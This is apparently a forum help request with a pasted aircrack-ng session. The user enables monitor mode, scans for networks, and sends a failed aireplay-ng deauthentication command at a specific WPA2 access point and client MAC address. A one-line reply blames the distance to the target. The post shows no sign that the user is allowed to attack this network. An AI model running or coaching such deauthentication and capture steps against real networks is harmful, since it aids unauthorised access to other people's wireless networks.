[kapurbarus]

[root@localhost unknownuser]# airmon-ng

Interface Chipset Driver

wlan0 Atheros ath5k - [phy0]
wlan1 Ralink 2573 USB rt73usb - [phy1]

[root@localhost unknownuser]# airmon-ng stop wlan1


Interface Chipset Driver

wlan0 Atheros ath5k - [phy0]
wlan1 Ralink 2573 USB rt73usb - [phy1]
(monitor mode disabled)

[root@localhost unknownuser]# airmon-ng start wlan1


Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID Name
980 avahi-daemon
990 NetworkManager
1000 avahi-daemon
1136 wpa_supplicant
14876 dhclient
Process with PID 14876 (dhclient) is running on interface wlan0


Interface Chipset Driver

wlan0 Atheros ath5k - [phy0]
wlan1 Ralink 2573 USB rt73usb - [phy1]
(monitor mode enabled on mon0)

[root@localhost unknownuser]# airodump-ng mon0

CH 8 ][ Elapsed: 8 s ][ 2012-08-29 22:49

CH 8 ][ Elapsed: 8 s ][ 2012-08-29 22:49

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

28:10:7B:E8:CC:54 -76 10 0 0 13 54e. WPA2 CCMP PSK rekateemorputra1

BSSID STATION PWR Rate Lost Packets Probes

[root@localhost unknownuser]# aireplay-ng -0 1 -a 28:10:7B:E8:CC:54 -c 94:0C:6D:E1:83:0E mon0
08:58:01 Waiting for beacon frame (BSSID: 28:10:7B:E8:CC:54) on channel 1
08:58:11 No such BSSID available.
Please specify an ESSID (-e).

where i did wrong??

u are too far from the target , u need to close enough to the target ap